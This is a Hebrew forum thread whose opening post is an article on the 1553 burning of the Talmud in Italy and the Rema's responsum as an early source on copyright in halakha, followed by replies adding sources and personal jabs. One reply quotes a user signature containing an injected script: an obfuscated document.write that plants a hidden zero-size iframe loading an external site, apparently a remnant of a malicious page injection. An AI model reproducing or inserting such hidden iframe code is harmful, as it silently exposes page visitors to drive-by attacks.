בית פורומים עצור כאן חושבים

שריפת התלמוד וזכויות יוצרים

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-11/11/2019 08:35 לינק ישיר 
שריפת התלמוד וזכויות יוצרים

היום, י"ג במרחשון, מלאו ארבע מאות וששים ושש שנה למעמד שריפת התלמוד בוונציה שבאיטליה. זו הזדמנות להתבונן מעט באחד המאורעות החשובים ביותר בתולדות יהודי איטליה, ומתוך כך להיחשף אל אחד המופעים הראשונים של המושג "זכויות יוצרים" בהלכה.

בשנת ש"י (1550) פרץ סכסוך חריף בין שני בעלי דפוס בוונציה. שני הַדַּפָּסִים היו נוצרים, אך הם עסקו בעיקר בהדפסת ספרות עברית. היו אלו שנות פריחה של הדפוס העברי בוונציה, והתחרות בין הדפוסים הייתה רבה. אחד מהם, אַלְוִיז בְּרַאגַאדִין, החל בהדפסת ספר "משנה תורה" לרמב"ם, וכדי להשביח את מקחו פנה אל רב העיר, רבי מאיר קצנלבויגן, בבקשה שיגיה את המהדורה ויצרף אליה את הערותיו. הרב ניאות לבקשה, והקדיש זמן רב למלאכת הגהת הספרים. הַדַּפָּס המתחרה, מַארְק אַנְטוֹנְיוֹ יוּסְטִינְיַאן, לא טמן ידו בצלחת, והחל אף הוא להדפיס "משנה תורה" משלו. אם לא די בכך, יוסטיניאן העתיק את הגהותיו של ר' מאיר קצנלבויגן ושילבן אל תוך מהדורתו. כדי לוודא שמהדורתו תועדף על ידי הקונים, הוא קבע לה מחיר זול יותר משדרש בראגאדין.

צעדיו של יוסטיניאן פתחו מאבק קשה בינו ובין בראגאדין, שהתדרדר עד מהרה להלשנות הדדיות בפני "הכס הקדוש". היו אלו שנים קשות לכנסייה הקתולית, עם התפשטותה של הרפורמה הפרוטסטנטית ברחבי היבשת. בכנסייה הקתולית התעוררה תנועת ריאקציה לרפורמה, וכעשר שנים לפני סיפורנו נוסדה האינקוויזיציה הרומית שנועדה להילחם ב"כופרים". במצב רגיש זה הגיעו ההלשנות מצידם של שני בתי הדפוס אל האפיפיור יוּלִיוּס השלישי, כאשר כל אחד מן הצדדים מפליל את שכנגדו באשמת הדפסת ספרים יהודיים, שיש בהם דברי גידוף על הנצרות והנוצרים. בעיקר, הלשינו אנשיו של בראגאדין על מהדורת התלמוד שהדפיס יוסטיניאן רק לאחרונה, בין השנים ש"ו-שי"א (1546-1551).

מצַעֵר לציין כי שני הצדדים גיבו את הלשנותיהם ב"עדויות" מפי מומרים יהודים. עדויות אלו נפלו על אזניו הקשובות של האפיפיור, וזה מינה וועדת חשמנים שתעיין בחומר שיוגש לפניה ותקבע את מסקנותיה.

לא קשה לנחש את מסקנות הוועדה. בב' באלול שי"ג, ה-12 באוגוסט 1553 לחשבון הערלים, הוציא האפיפיור צו אל הנסיכים, ההגמונים ומועצות הערים המחייב להחרים ולשרוף את ספרי התלמודים, הבבלי והירושלמי. בנוסף כלל הצו איסור על קריאתם, החזקתם או סיוע להדפסתם. בחודשים שלאחר מכן נאספו ספרי התלמוד בכל הערים במרכז איטליה, והועלו באש במעמדות פומביים במרכזי הערים. בראשונה, נשרפו הספרים בכיכר קַמְפּוֹ דִי פְיוֹרִי שבמרכז העיר רומא, בעיצומו של יום ראשון של ראש השנה שי"ד. הכיכר הזה שימש באורח מסורתי למפגני כוח של הכנסייה - כופרים היו מועלים בו על המוקד, ורק חמישה ימים קודם לשריפת התלמוד נעקד בו גר צדק בשם קוֹרְנֶלְיוֹ דֶה מוֹנְטַלְצִינוֹ, נזיר פרנציסקני שבא לחסות תחת כנפי השכינה ונתפס בידי הכנסייה, השם ייקום דמו.

ומרומא לשאר הערים. בעיצומו של חג הסוכות נשרפו ספרי התלמוד בבּוֹלוֹנְיָה, בי"ג ובי"ד במרחשון בוונציה, במהלך חודש שבט באַנְקוֹנָה, בפֶרַארַה, רַוֶנָה ומַנְטוֹבָה, וכך לאורך חודשי החורף של שנת שי"ד בעוד ערים רבות ברחבי איטליה.

לשריפת התלמוד, וליתר דיוק: לאיסור על החזקת התלמוד, הייתה השפעה מכרעת על קורות היהודים באיטליה, בארבע מאות השנים שלאחר מכן. בהיעדר ספרי תלמוד, השתנה לחלוטין אופיו של לימוד התורה באיטליה. את ההלכה למדו מהלכות הרי"ף ומן הספר "בית יוסף" על ארבעה טורים, ובמקביל, התגבר העיסוק בתחומים תורניים חלופיים. מן הצד האחד, רבו העוסקים בפילוסופיה, במקרא ובחקר לשון הקודש, ומן הצד השני פשטה ההתעניינות בתורת הקבלה. מעמדה התורני של איטליה לא שב לעולם לקדמותו. בשנים הסמוכות לאחר השריפה הפכה איטליה למרכז הדפסת ספרי קבלה, ואילו התלמוד החל להידפס בפולין ובטורקיה - מרכזי התורה האשכנזי והספרדי באותם ימים.

מאבק המדפיסים הנוצריים על לבם של לומדי תורת הרמב"ם, הסתיים אפוא בכי רע. ואולם, מן הטרגדיה הנוראה הזו צמח דבר אחד טוב: הוא העניק לנו במתנה תשובה הלכתית יסודית מאוד מתחת ידו של רבי משה אִיסֶרְלִישׁ, הרמ"א, גדול פוסקי אשכנז באותה תקופה. זוהי תשובה שניתן לראות בה את יריית הפתיחה לשאלת "זכויות יוצרים" בהלכה.

*** זכויות היוצרים לרמ"א ***

פרט לשני הַדַּפָּסִים הנוצריים, במאבק על הדפסת הרמב"ם היה גם צד שלישי: רבי מאיר קצנלבויגן, רבה של וונציה, שעמל רבות על הגהת הספרים ועיטר אותם בהערותיו. הַדַּפָּס בראגאדין סיכם עימו שייטול אחוז מכספי המכירות של הספרים, וכאשר יוסטיניאן העתיק את הגהותיו והדפיסם במהדורתו, ועוד קבע להם מחיר זול ממהדורתו של בראגאדין, הייתה זו פגיעה קשה ברווחיו של הרב. בצר לו פנה הרב קצנלבויגן אל שארו, הרמ"א, וביקש ממנו שיאסור את קניית המהדורה של יוסטיניאן. אמנם הרמ"א יושב בקרקוב, אולם הספרים הנדפסים בוונציה נועדו להפצה בכל רחבי היבשת, ומצודתו של הרמ"א הלא פרוסה על העולם האשכנזי כולו, ומשכך יש לקוות שיהיה בידו למנוע מיוסטיניאן צבירת הון על חשבון עמלו של הרב.

הרמ"א נזקק לבקשה ובתשובה ארוכה ביסס איסור חמור על מעשיו של יוסטיניאן, וממילא על רכישת הספרים שהדפיס. התשובה חותמת בחרם ובאזהרה חמורה, כתובה במילים קשות ומפחידות:

"גם אנו מסכימין, מנדין ומשמתין ומחרימין בנידוי חרם שמתא, בגזירת עירין ובמאמר קדישין, על כל תלמיד וצורב, קטן וגדול שם הוא, שלא יקנה שום אדם במדינתנו מן הנדפסים החדשים [=ספרי יוסטיניאן] אם לא מאותן היוצאין מתחת יד הגאון הנ"ל [=ר' מאיר קצנלבויגן, במהדורת בראגאדין] או מבאי כוחו. וכל מי שפורץ יפגענו חִוְיָא [=נחש] דרבנן וּצְוָחָה וָפֶרֶץ. וכל המחזיק בהם - הם בחרם כמוהם, ומחויבים כל ישראל לנדות החטאים האלה בנפשותם, ולא יכופר להם עד ימותון וקבר חמור תהא קבורתם".

ניכר שמעשיו של יוסטיניאן הכעיסו מאוד את הרמ"א. חלק גדול מתשובתו מוקדש לביסוס הקביעה שיוסטיניאן מחויב לציית לפסיקת ההלכה היהודית בשאלה. הוא אמנם מודע היטב לעובדה שכנוצרי, יוסטיניאן אינו רואה עצמו מחויב לקבל את פסיקתו, אך קביעה זו נחוצה כדי להטעים את האיסור על הלומדים ליהנות מן הספרים המודפסים אצל יוסטיניאן.

ומדוע באמת אסור לקנות את ספריו של יוסטיניאן? הרמ"א מציג ארבעה נימוקים שונים: 1. יוסטיניאן מסיג את גבולם של אחרים; הנימוק הזה הוא שפותח את סוגיית "זכויות יוצרים" בהלכה ותיכף נעיין בו; 2. רווחי המהדורה השניה, של בראגאדין, מכלכלים תלמיד חכם, הלא הוא ר' מאיר קצנלבויגן, ויש להעדיף אותה; 3. חובה להעדיף רכישה מיהודי על פני רכישה מגוי, גם אם נדרשת לשם כך תוספת תשלום; 4. המהדורה השניה מוגהת יותר, וחובה להעדיף תמיד את הספר המוגה.

נעיין מעט בנימוק הראשון. נקודת הפתיחה של איסור "הסגת גבול" במסחר, היא סוגייה במסכת בבא בתרא, הדנה בשאלה אם מותר לאדם לפתוח בית-עסק מתחרה בסמוך לבית-עסק קיים. לדעת רב הונא (אמורא מן הדור השני): "האי בר מבואה דאוקים ריחיא, ואתא בר מבואה חבריה וקא מוקים גביה - דינא הוא דמעכב עליה" [=אותו בן מבוי המעמיד ריחיים (כדי להשתכר ממתן שירותי טחינה), ובא בן המבוי חבירו והעמיד אף הוא ריחים לצידו - דין הוא שיעכב הראשון עליו]. כלומר, גם אם מדובר בשני תושבי המקום, הפותח ראשון את העסק המקומי קונה בלעדיות במקום, ואין שכנו רשאי לפתוח לצידו עסק מתחרה.

לעומת זאת, רב הונא בְּרֵיהּ דרב [=בנו של] יהושע (אמורא מן הדור השלישי) סובר: "בר מבואה אבר מבואה דנפשיה - לא מצי מעכב" [=בן-מבוי על בן-מבוי שכנו - אינו יכול לעכב]. כלומר, כל עוד מדובר בתושב המקום, אי אפשר למנוע ממנו לפתוח עסק מתחרה.

כמעט כל הפוסקים קבעו להלכה כדעת רב הונא בריה דרב יהושע. לפי זה, כל אדם רשאי לפתוח עסק במקום מגוריו, גם אם הוא מתחרה באופן ישיר עם שכן בעל עסק דומה וותיק יותר. במבט ראשון, נראה שהוראה זו מאפשרת ליוסטיניאן להתחרות בבראגאדין על הפצת ספרי הרמב"ם, אלא שהרמ"א העלה הסתייגות חשובה לדין הזה.

הפוסקים האשכנזים מתקופת הראשונים ציטטו הוראה מאת הראבי"ה, הוא רבי אליעזר בן רבי יואל הלוי מגדולי חכמי אשכנז במאה ה-12, ולפיה ישנם מקרים שבהם אנו פוסקים להלכה כדעת רב הונא, האוסר פתיחת עסק מתחרה. בהוראת הראבי"ה מדובר היה ב"מבוי שאינו מפולש", כלומר בשכונה שיש לה פתח אחד לרשות הרבים וכל הנכנסים והיוצאים לשכונה עוברים דרכו. מעשה היה בשכונה שכזו, שאחד מתושבי השכונה ניהל בית-עסק באחד הבתים הפנימיים, ולימים בא שכנו וביקש לפתוח בית-עסק דומה באחד הבתים החיצוניים. אם ייפתח העסק המתחרה, הוא 'ידוג' את כל הלקוחות הנכנסים לשכונה, ויציע להם בית-עסק קרוב יותר. ראבי"ה הורה שבמקרה כזה רשאי בעל העסק הפנימי לעכב בעד שכנו מפתיחת עסק מתחרה.

מדוע? הלא נקבעה ההלכה כרב הונא בריה דרב יהושע, שכל תושב מקומי רשאי לפתוח עסק מתחרה?! אין זאת, מסיק הרמ"א, אלא שההיתר לפתוח עסק מתחרה אמור רק באופן שפתיחתו עשויה לצמצם את היקף הכנסותיו של העסק הוותיק, ולא באופן שהיא תביא בוודאי לקריסה מלאה שלו. כאשר לעסק החדש יש ייתרון מובהק, כמו סמיכותו אל פתח השכונה היחיד, העסק הישן נפגע באופן וודאי, ובמקרה כזה אנו פוסקים כדעת רב הונא.

נשוב עתה אל יוסטיניאן מיודענו, ונזכור את התוכנית שהגה לקנות את לב הלומדים על ידי הוזלה משמעותית של מחירי הספרים. המחיר הזול שהוא מציע, קובע רמ"א, הוא ייתרון זהה לייתרון שבמיקומו הקרוב של בית העסק. כאן ושם, יש לעסק החדש ייתרון מובהק על העסק הישן, דבר שיביא לפגיעה וודאית בעסק הישן. נמצא שדווקא נסיונו של יוסטיניאן להשיג ייתרון על בראגאדין, הוא שגרר אחריו את איסורו של הרמ"א לקנות ממנו את הספרים.

*** כך נולדו ההסכמות ***

חשוב לציין שמקורו ותוקפו של איסור הסגת גבול בהקשר זה אינו ברור דיו. האם המתחרה עובר על איסור גזל?! לא, הוא לא נוטל שום דבר השייך לזולתו. האם הוא נחשב מזיק את חבירו?! לכאורה גם לא. בסופו של דבר, הקונים הם שבוחרים את מרכולתו של מי רצונם לקנות. באופן כללי נראה מדברי הפוסקים שזוהי תקנה מקובלת בישראל מדור דור, שיש לקבוע כללי מסחר הוגנים ובכללם מניעת תחרות בלתי הוגנת.

הוראה זו של הרמ"א שימשה יסוד למנהג ישן בישראל, שבדורות האחרונים חלף ואיננו. מזה מאות שנים, נהגו מדפיסי ספרים ליטול הסכמות מרבני הקהילות באיזורם, לא לשם עדות על טיבו של החיבור או מחברו, אלא לשם גזירת הגבלת תחרות. כל המצוי מעט בספרות תורנית אשכנזית ממאות השנים האחרונות, מכיר את נוסח ההסכמה הגוזר שלא להדפיס את הספר "משך עשרה שנים" וכדומה. אמנם המנהג הזה מתועד לראשונה בספרים שיצאו לאור כשלושים שנה לפני שכתב הרמ"א את תשובתו, ואולם זו שימשה משענת הלכתית להתפשטותו של המנהג.

במילים פשוטות, הוראת הרמ"א עיגנה כתקנה מקובלת את הצורך לשמור על זכויות יוצרים לתקופה מסוימת, כזו שתבטיח את פרנסתו של היוצר מיצירתו.

ככל שהתפתחה תעשיית הדפוס שאיפשרה שכפול מהיר של יצירות פרטיות, וככל שבאופן כללי הלכה ופשטה הדרך שבה רעיוני רוחו של אדם מגיעים מקצה העולם ועד קצהו, באמצעות העתקת טכנולוגיות או יצירות אישיות ממקום למקום - כך גבר הצורך בהרחבה של המושג "זכויות יוצרים". תשובתו של הרמ"א קובעת למושג הזה גבולות גיזרה די צרים. היא מתייחסת רק להיבט התחרותי הפוגעני, למידת הסגת הגבול שיש בשימוש ביצירתו של אדם אחר. אין בה עדיין הכרה בבעלותו של אדם על יצירתו הרוחנית. לכל אורך תשובתו של הרמ"א, לא נזכרה במפורש העובדה שההגהות על ספרי הרמב"ם הם קניינו הפרטי של ר' מאיר קצנלבויגן.

רק כמאתיים שנה לאחר מכן אנו מוצאים בתשובות הפוסקים התייחסות לשאלת הבעלות על קניין רוחני, עד כדי הכרה בבעלותו של אדם על יצירתו. זו הסיבה מדוע בימינו איננו מוצאים הסכמות המגבילות הדפסת ספרים מתחרים. תחום הדיון בימינו הועתק אל המישור הקנייני, וממילא זכויותיו של מדפיס נשמרות טוב יותר על ידי הכרה בבעלותו על היצירה.

השלב המוקדם הזה בהבנת המושג "זכויות יוצרים" קיים גם במשפט האזרחי בעולם כולו. כשלושים שנה לפני שכתב הרמ"א את תשובתו, בשנת 1517, קבעו הקיסר מַקְסִימִילְיַאן, קיסר האימפריה הרומית הקדושה, והאפיפיור לֶאוֹ העשירי איסור על הדפסת ספרי תנ"ך לתקופה של ארבע שנים, כדי להגן על זכויותיו של מדפיס נוצרי. רק כמאתיים שנה לאחר מכן, בשנת 1709, התקבל בפרלמנט הבריטי - לראשונה בעולם כולו - חוק זכויות יוצרים מודרני, המכיר בבעלותו של אדם על יצירתו האישית.

כדי להבחין בהתפתחות המשמעותית בהבנת המושג, נסיים בהשוואת לשונו של הרמ"א, ראשון המתייחסים לשאלת הזכויות, ללשונו של פוסק מאוחר יותר, בן המאה ה-19, רבי יוסף שאול נתנזון, רבה של העיר לבוב שבגליציה ומחבר ספר השו"ת "שואל ומשיב".

הנה לשונו של הרמ"א, מצד אחד:

"...בנידון דידן, בריא היזקא הוא [=הנזק הוא ברור] כי היֶענְטִילוֹמֶר השני [=הג'נטלמן השני, כלומר יוסטיניאן] נתן להכריז שכל ספר יוזיל זהוב טפי [=יותר] מהגאון [רבי מאיר קצנלבויגן], ומי ראה זאת ולא יבוא אליו לקנות ממנו, ויכול הוא להוזיל כי הוא מעשירי הארץ".

כלומר, יש לשמור על זכויותיו של היוצר רק במצב שבו המתחרה יוצר תחרות שאינה הוגנת. עצם הבעלות של היוצר על יצירתו, טרם הופיעה בעולם ההלכה.

ומן הצד השני, הנה לשונו של ה"שואל ומשיב", בן המאה ה-19:

"...זה ודאי שספר חדש שמדפיס מחבר וזכה שדבריו מתקבלים על פני תבל, פשיטא [=פשוט] שיש לו זכות בזה לעולם. והרי בלאו הכי [=בלא זאת], אם מדפיסים או מחדשים איזה מלאכה, אינו רשאי אחר לעשות בלא רשותו. והרי נודע שר' אברם יעקב מהַרוֹבֶּשׁוֹב שעשה החשבון במאשין [=המציא מכונת חישוב], כל ימיו קיבל שכרו מהקיר"ה [=הקיסר ירום הודו] בווארשא, ולא יהא תורה שלמה שלנו כשיחה בטילה שלהם?! וזה דבר שהשכל מכחישו. ומעשים בכל יום שהמדפיס חיבור - יש לו ולבאי כוחו זכות".

ועדיין, הגבולות המדויקים של זכות יוצר על יצירתו הן מן השאלות הנידונות עוד בימינו אנו על שולחנם של פוסקי ההלכה. אנו זכינו רק להציץ מחרכי ההיסטוריה אל הופעתם הראשונה.

יום נעים ופורה!

(פורסם בשנה שעברה)

בתמונה: לוח הברזל החקוק לזכרון בכיכר קמפו די פיורי ברומא, לזכר ספרי התלמוד הנשרפים שם בראש השנה ה'שי"ד (זכויות צילום: Golden golda CC BY-SA 4.0).

©תורה גדולה, בקטנה. פייסבוק


נשלח מהאנדרואיד שלי




דווח על תוכן פוגעני

סמל אישי
מחובר
נשלח ב-11/11/2019 09:07 לינק ישיר 


    תמונה יכולה לכלול: ‏‏פעילויות בחוץ‏‏



דדווח על תוכן פוגעני

מנותק
נשלח ב-11/11/2019 11:25 לינק ישיר 

 הקינה-שאלי שרופה באש-  חובר על ידי המהר'ם מרוטנברג על שריפת התלמוד בפאריז   אמרתי את הקינה הזו בשריפת כנסיית ''נוטרה דם'  בפאריז



דדווח על תוכן פוגעני

מנותק
נשלח ב-11/11/2019 13:13 לינק ישיר 
נישטאיך

<פרט לשני הַדַּפָּסִים הנוצריים, במאבק על הדפסת הרמב"ם היה גם צד שלישי: רבי מאיר קצנלבויגן, רבה של וונציה>

הידוע בשם  המהר"ם מפאדובה, שבשנת ה' רפה מונה להיות רב קהילת האשכנזים בפאדובה.

ניתן לראות את תשובת הרמ"א סי' י, (עמ' יא, סוף טור א), כאן:

https://hebrewbooks.org/pdfpager.aspx?req=1204&st=&pgnum=19&hilite




תוקן על ידי נישטאיך ב- 11/11/2019 11:19:09




דדווח על תוכן פוגעני

מנותק
נשלח ב-11/11/2019 14:19 לינק ישיר 
נישטאיך

חוק זכויות יוצרים תשסח-2077

https://www.nevo.co.il/law_html/Law01/999_853.htm



תוקן על ידי נישטאיך ב- 11/11/2019 12:23:46




דדווח על תוכן פוגעני

מנותק
נשלח ב-15/11/2019 15:26 לינק ישיר 

שחור כתום

איקון ירוק עם פרחים על מאמר מרתק וחשוב. האם זה מפרי מקלדתך? אם לא, מהיכן הוא?


נישטאיך

גם לך ברוך השב!


ובעצם, לכולנו, שארית הפליטה


אשר לנידון כאן, יש כאן תופעה מעניינת. זו לקונה הלכתית, הנושא של זכויות יוצרים. כמה וכמה ספרים נכתבו על הנושא הזה, אך מה שדרוש הוא לא רק מחקרים היסטוריים וניתוח של הקיים, אלא מציאה של עיגון הנושא בהלכה.

כל העתקה של אמצאה (=לא התהליך אלא התוצר) היא בהכרח דבר שאין גופו ממונו, ולמעט מקרים נדירים, אין ההלכה ממקורותיה עד היום מכירה בנזקים כאלו.

אנו זקוקים כאן לפריצת דרך, הגדרה חדשה שתהיה מעוגנת במקורות, או בסברה, ותיצור איסור ודאי.

לפי המקובל במחוזותינו, החרדיים, נחלקו בשאלה זו כמה מרבני הדור האחרון, ויש אוסרים העתקה כזו מדאורייתא ויש המתירים לכתחילה. ואמנם לא שמעתי  טעמיהם, אך דבר המסתבר הוא שהמתירים סבורים שכיון שזו לקונה, אין איסור. והאוסרים סבורים כנראה שיש כאן מסברא איסור ואיסור מסברה גם הוא מן התורה.

כמובן, יש כאן שני נושאים: האם אסור מן התורה להעתיק והאם יש חובה לשלם למי שהעתיק. אלו שתי שאלות שונות, למרות שניתן לתלות אותן זו בזו.

ועדיין הנושא רק כאן רק בתחילתו, כי זכויות יוצרים יכולות לכסות תחומים רבים, וכפי שכתב אחד המחברים המעמיקים בנושא, מהעתקת תוכנה (או סרט) ועד לייצור של מוצר המוגן בפטנט, או עיצוב של מוצר (כגון בגד) ועוד ועוד.

ותודה לשחור כתום על הנושא החשוב מאד.



דדווח על תוכן פוגעני

מנותק
נשלח ב-16/11/2019 18:29 לינק ישיר 

כנראה שאף אחד לא העלה על דעתו לגנוב מספרו הנורא של כ"ק מרן שליט"א. או מהפורום אשר לו. לכן הוא לא מוטרד מזכויות יוצרים.
ורצה מרן לעלות על מעלות החכמה ונגלתה ערוותו עליו.

תוקן על ידי בעלבעמיו ב- 16/11/2019 16:28:44




דדווח על תוכן פוגעני

מחובר
נשלח ב-16/11/2019 21:32 לינק ישיר 

בעל בעמיו

תוכל להסביר רמיזותיך? מיהו מרן? מהו הפורום?

נסיתי לערוך חיפוש על מילות הפתיחה של המאמר דרך גוגל שליט"א - רעיון מעולה תמיד - אבל הגעתי רק לכתובת פייסבוק שאין לי גישה לשם.

אז מי כותב? ומה התשובה לשאר שאלותי? חוס על מי שלא זכה להתבשם מפייסבוק לאחר שנזרק ממנה שלוש פעמים...

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2019 17:13 לינק ישיר 
מואדיב

מיימוני כתב:
בעל בעמיו

תוכל להסביר רמיזותיך? מיהו מרן? מהו הפורום?

נסיתי לערוך חיפוש על מילות הפתיחה של המאמר דרך גוגל שליט"א - רעיון מעולה תמיד - אבל הגעתי רק לכתובת פייסבוק שאין לי גישה לשם.

אז מי כותב? ומה התשובה לשאר שאלותי? חוס על מי שלא זכה להתבשם מפייסבוק לאחר שנזרק ממנה שלוש פעמים...

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");




דומני שכוונתו של בעל בעמיו הוא לאדוננו מורנו ורבינו, בעל הביב, אשף הניבול, מאסטר הגיבוב, הכותב המחזיק בשיא החסימות, התיקונים והמחיקות בתולדות הפורו ואולי האינטרנט כולו, הלא הוא חכם האלראזים, נ.ר., האיש הפונה לאחרים כאל משמשיו שסרחו, בעל הטורט שאין להזכיר את שמו.



דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2019 17:54 לינק ישיר 

מואדיב
הוא גם קורא לעצמו הוד כ"ק מרן שליט"א, לקיים מה שנאמר, יהללך זר, ולא פיך.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/11/2019 11:44 לינק ישיר 
דורש_אמת

הגמרא בעבודה זרה כ"ח ע"א מביאה 
ת"ש רבי יוחנן חש בצפדינא אזל לגבה דההיא מטרוניתא עבדה חמשא ומעלי שבתא א"ל למחר מאי אמרה ליה לא צריכת אי צריכנא מאי אמרה אשתבע לי דלא מגלית אישתבע לה לאלהא ישראל לא מגלינא גלייה ליה למחר נפק דרשה בפירקא והא אישתבע לה לאלהא דישראל לא מגלינא אבל לעמיה ישראל מגלינא והאיכא חילול השם דגלי לה מעיקרא 
עכ"ל הגמרא
אני יוצא מנקודת הנחה שרבי יוחנן חשש מאיסור גזל מגוי והיות ובכל זאת גילה את התרופה הרי לנו שרבי יוחנן סובר  שאין קנין רוחני 


תוקן על ידי דורש_אמת ב- 25/11/2019 09:43:38




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/11/2019 21:23 לינק ישיר 

דורש אמת

ברוך השב

ואיקון ירוק מאד על הדיוק!

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > שריפת התלמוד וזכויות יוצרים
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר